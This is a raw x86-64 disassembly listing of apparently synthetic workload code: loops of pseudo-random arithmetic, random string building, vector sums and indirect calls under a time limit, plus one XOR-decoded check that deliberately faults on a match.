movsd xmm8, qword [0x1401ec150]
movsd xmm12, qword [0x1401ec148]
nop
call fcn.14017a0bc
mov rdi, rax
call fcn.14017a0a0
cmp rdi, 0x989680
jne 0x14015056c
imul rax, rax, 0x64
jmp 0x140150587
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14015118d
mov dword [rsp + 0x88], r15d
nop dword [rax + rax]
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x1401505b4
lea ecx, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x1401505c3
add eax, esi
jmp 0x1401505c8
add eax, 0x80000000
sub eax, ecx
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x1401505de
call fcn.14016f570
jmp 0x140150618
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150618
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150618
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150601
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14015062e
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x14015063d
add eax, esi
jmp 0x140150642
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x14015065b
call fcn.14016f570
mov ecx, eax
jmp 0x14015069b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150697
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150697
nop
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150680
shr rcx, 0x20
lea edx, [rcx + r12]
mov r8, qword [rsp + 0xc08]
mov r9, qword [rsp + 0xc00]
sub r8, r9
sar r8, 3
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r13, qword [r9 + rax*8]
mov rax, qword [r13]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x1401506f6
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150705
add eax, esi
jmp 0x14015070a
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150723
call fcn.14016f570
mov ecx, eax
jmp 0x14015076b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150767
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150767
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150750
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r13
call qword [rsp + 0x70]
mov dword [rsp + 0x40], eax
movaps xmm9, xmm15
movaps xmm1, xmm14
mov edi, 2
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm15
mulsd xmm0, xmm1
addsd xmm9, xmm0
mulsd xmm1, xmm8
sub rdi, 1
jne 0x1401507a0
divsd xmm9, xmm1
mulsd xmm9, xmm12
addsd xmm9, xmm11
movaps xmm10, xmm15
movaps xmm1, xmm14
mov edi, 2
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm15
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm8
sub rdi, 1
jne 0x1401507f0
divsd xmm10, xmm1
mulsd xmm10, xmm12
addsd xmm10, xmm11
movaps xmm6, xmm10
andps xmm6, xmmword [0x1401ec270]
movaps xmm0, xmm9
call fcn.1401cd750
movaps xmm7, xmm0
movaps xmm0, xmm10
call fcn.1401ce600
mulsd xmm7, xmm0
addsd xmm6, xmm14
movaps xmm0, xmm6
call fcn.1401ce0d0
addsd xmm7, xmm0
movaps xmm0, xmm9
call fcn.1401cdcd0
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x50]
addsd xmm7, xmm1
movsd qword [rsp + 0x50], xmm7
movaps xmm0, xmm15
movaps xmm2, xmm14
mov edi, 2
nop
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm15
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140150890
divsd xmm0, xmm2
mulsd xmm0, xmm12
addsd xmm0, xmm11
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movaps xmm0, xmm15
movaps xmm2, xmm14
mov edi, 2
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm15
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm8
sub rdi, 1
jne 0x1401508f3
divsd xmm0, xmm2
mulsd xmm0, xmm12
addsd xmm0, xmm11
call fcn.1401ceb70
movsd xmm1, qword [rsp + 0x50]
mulsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd90], xmm0
mov qword [rsp + 0xda0], r15
mov qword [rsp + 0xda8], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rsp + 0xd90]
call fcn.1401321c0
nop
lea rdi, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0x10
jb 0x140150999
mov rdi, qword [rsp + 0xd90]
mov rcx, rdi
jmp 0x1401509a1
lea rcx, [rsp + 0xd90]
mov rdx, rdi
mov r14, qword [rsp + 0xda0]
add r14, rcx
cmp rdx, r14
je 0x140150a08
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1401509f8
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1401509e0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, r14
jne 0x1401509c0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc58], xmm1
mov qword [rsp + 0xc68], r15
mov ecx, 0x190
call fcn.14019f23c
mov qword [rsp + 0xc58], rax
lea r12, [rax + 0x190]
mov qword [rsp + 0xc68], r12
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1401a1870
mov qword [rsp + 0xc60], r12
mov r14, qword [rsp + 0xc58]
cmp r14, r12
je 0x140150aa1
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x2700]
lea rcx, [rsp + 0xbe0]
call fcn.140161390
mov dword [r14], eax
add r14, 4
cmp r14, r12
jne 0x140150a70
mov r12, qword [rsp + 0xc60]
mov r14, qword [rsp + 0xc58]
mov dword [rsp + 0xe10], 0xffffff9c
mov dword [rsp + 0xe14], 0x64
cmp r14, r12
je 0x140150af6
nop dword [rax]
mov edi, dword [r14]
lea rdx, [rsp + 0x2700]
lea rcx, [rsp + 0xe10]
call fcn.140161390
add eax, edi
mov dword [r14], eax
add r14, 4
cmp r14, r12
jne 0x140150ac0
mov r12, qword [rsp + 0xc60]
mov r14, qword [rsp + 0xc58]
mov r8, r12
sub r8, r14
sar r8, 2
xor r9d, r9d
mov rdx, r12
mov rcx, r14
call fcn.14016f700
mov r8d, r15d
mov rax, qword [rsp + 0xc58]
mov rdx, r15
mov r9, qword [rsp + 0xc60]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x140150b91
cmp rcx, 8
jb 0x140150b91
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140150b50
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x140150bac
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140150ba0
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x140150bcd
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150bdc
add eax, esi
jmp 0x140150be1
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150bfa
call fcn.14016f570
mov ecx, eax
jmp 0x140150c3b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150c37
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150c37
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150c20
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r13d, [rax + rsi]
jb 0x140150c62
lea r13d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150c71
add eax, esi
jmp 0x140150c76
add eax, 0x80000000
sub eax, r13d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150c8f
call fcn.14016f570
mov ecx, eax
jmp 0x140150cdc
lea r14d, [rax + 1]
call fcn.14016f570
mov r12d, r14d
mov ecx, eax
imul rcx, r12
cmp ecx, r14d
jae 0x140150cd8
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x140150cd8
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r12
cmp ecx, r14d
jb 0x140150cc0
shr rcx, 0x20
add ecx, r13d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140150d25
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rsp + 0xbe0]
lea r12d, [rax + rsi]
jne 0x140150dce
cmp eax, esi
jb 0x140150d43
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150d52
add eax, esi
jmp 0x140150d57
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150d70
call fcn.14016f570
mov ecx, eax
jmp 0x140150dae
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150daa
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150daa
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150d93
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140150e67
cmp eax, esi
jb 0x140150dd9
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150de8
add eax, esi
jmp 0x140150ded
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150e06
call fcn.14016f570
mov ecx, eax
jmp 0x140150e4b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150e47
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150e47
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150e30
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x70], 5
mov r13d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x140150e96
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150ea5
add eax, esi
jmp 0x140150eaa
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150ec3
call fcn.14016f570
mov ecx, eax
jmp 0x140150f0b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140150f07
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140150f07
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150ef0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm15
movaps xmm2, xmm14
mov edi, 2
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm15
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140150f33
divsd xmm1, xmm2
mulsd xmm1, xmm12
addsd xmm1, xmm11
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
test r13b, 1
jne 0x140151029
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x140150fa0
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140150faf
add eax, esi
jmp 0x140150fb4
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140150fcd
call fcn.14016f570
mov ecx, eax
jmp 0x14015100b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x140151007
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151007
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140150ff0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140151092
movaps xmm1, xmm15
movaps xmm2, xmm14
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm15
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140151040
movsd xmm0, qword [rsp + 0x50]
divsd xmm1, xmm2
mulsd xmm1, xmm12
addsd xmm1, xmm11
addsd xmm1, xmm14
divsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
inc r13d
cmp r13d, 5
jl 0x140150e80
sub qword [rsp + 0x70], 1
jne 0x140150e70
mov rcx, qword [rsp + 0xc58]
test rcx, rcx
je 0x14015110d
mov rax, qword [rsp + 0xc68]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401510f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015550f
call fcn.14019ed30
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc58], xmm0
mov qword [rsp + 0xc68], r15
mov rdx, qword [rsp + 0xda8]
cmp rdx, 0x10
jb 0x140151150
inc rdx
mov rcx, qword [rsp + 0xd90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14015114b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140155515
call fcn.14019ed30
mov qword [rsp + 0xda0], r15
mov qword [rsp + 0xda8], 0xf
mov byte [rsp + 0xd90], 0
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
cmp ecx, 0x186a0
jl 0x1401505a0
jmp 0x140150550
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xc00]
mov r14d, 1
test rbx, rbx
je 0x140151232
mov rdi, qword [rsp + 0xc08]
cmp rbx, rdi
je 0x1401511da
mov rcx, qword [rbx]
test rcx, rcx
je 0x1401511c9
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x1401511b5
mov rbx, qword [rsp + 0xc00]
mov rax, qword [rsp + 0xc10]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140151216
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015551b
mov rcx, rbx
call fcn.14019ed30
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc00], xmm0
mov qword [rsp + 0xc10], r15
mov eax, dword [0x1401eab08]
mov dword [rsp + 0x80], eax
movzx eax, byte [0x1401eab0c]
mov byte [rsp + 0x80], 0x31
xor byte [rsp + 0x81], 0x1f
xor byte [rsp + 0x82], 0x21
xor byte [rsp + 0x83], 0x23
xor al, 0x25
mov byte [rsp + 0x84], al
lea rdx, [rsp + 0x80]
lea rcx, [0x140206dd0]
call fcn.140162a20
test al, al
je 0x1401518a2
mov qword [0], r15
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x7540]
call fcn.140158100
mov dword [rsp + 0xc50], 0xffffff9c
mov dword [rsp + 0xc54], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xdd0], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x498]
call fcn.140119690
mov rax, qword [rsp + 0x498]
add rax, 0x5f5e100
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0xce8]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xce8], xmm0
mov qword [rsp + 0xcf8], r15
lea rcx, [rsp + 0x4a0]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x218], rcx
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x218]
call fcn.140158010
nop
lea rcx, [rsp + 0x4a0]
call fcn.140158010
lea rcx, [rsp + 0x4a8]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x220], rcx
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x220]
call fcn.140158010
nop
lea rcx, [rsp + 0x4a8]
call fcn.140158010
lea rcx, [rsp + 0x4b0]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x228], rcx
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x228]
call fcn.140158010
nop
lea rcx, [rsp + 0x4b0]
call fcn.140158010
lea rcx, [rsp + 0x4b8]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x230], rcx
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x230]
call fcn.140158010
nop
lea rcx, [rsp + 0x4b8]
call fcn.140158010
lea rcx, [rsp + 0x4c0]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x238], rcx
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x238]
call fcn.140158010
nop
lea rcx, [rsp + 0x4c0]
call fcn.140158010
lea rcx, [rsp + 0x4c8]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x240], rcx
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0xce8]
call fcn.140158030
nop
lea rcx, [rsp + 0x240]
call fcn.140158010
nop
lea rcx, [rsp + 0x4c8]
call fcn.140158010
lea rcx, [rsp + 0x4d0]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x248]
call fcn.140119a40
test al, al
jns 0x14015188c
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x7540]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 5
nop dword [rax]
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov rbx, qword [rsp + 0xcf0]
sub rbx, qword [rsp + 0xce8]
sar rbx, 3
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xce8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10c0]
call fcn.140132180
nop
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0x10c0]
call fcn.140119880
lea rcx, [rsp + 0xe80]
call fcn.140119a90
lea rcx, [rsp + 0xe80]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x7d0], xmm6
lea r8, [rsp + 0x7d0]
mov rdx, qword [rsp + 0xe88]
mov rcx, qword [rsp + 0xe80]
call fcn.1401616b0
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xe80]
call fcn.140119990
mov rdx, qword [rsp + 0xe88]
mov rcx, qword [rsp + 0xe80]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14015175a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
test eax, eax
jne 0x14015177f
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015178e
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov rdi, r12
mov ebx, r15d
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x7540]
test bl, 1
jne 0x14015180b
lea rcx, [rsp + 0xc50]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015182d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdd0]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x1401517a0
sub rdi, 1
jne 0x140151791
lea rcx, [rsp + 0xe80]
call fcn.140158150
nop
lea rcx, [rsp + 0x10c0]
call fcn.1401348a0
sub rsi, 1
jne 0x140151550
lea rcx, [rsp + 0x4d0]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x248]
call fcn.140119a40
test al, al
js 0x140151540
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xce8]
call fcn.140158060
jmp 0x1401553e9
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x88d0]
call fcn.140158100
mov dword [rsp + 0xc48], 0xffffff9c
mov dword [rsp + 0xc4c], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xde0], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x4d8]
call fcn.140119690
mov rax, qword [rsp + 0x4d8]
add rax, 0x5f5e100
mov qword [rsp + 0x280], rax
lea rcx, [rsp + 0xcb8]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xcb8], xmm0
mov qword [rsp + 0xcc8], r15
lea rcx, [rsp + 0x4e0]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x250], rcx
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x250]
call fcn.140158010
nop
lea rcx, [rsp + 0x4e0]
call fcn.140158010
lea rcx, [rsp + 0x4e8]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x258], rcx
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x258]
call fcn.140158010
nop
lea rcx, [rsp + 0x4e8]
call fcn.140158010
lea rcx, [rsp + 0x4f0]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x260], rcx
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x260]
call fcn.140158010
nop
lea rcx, [rsp + 0x4f0]
call fcn.140158010
lea rcx, [rsp + 0x4f8]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x268], rcx
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x268]
call fcn.140158010
nop
lea rcx, [rsp + 0x4f8]
call fcn.140158010
lea rcx, [rsp + 0x500]
call fcn.1401615d0
nop
mov rcx, qword [rax]
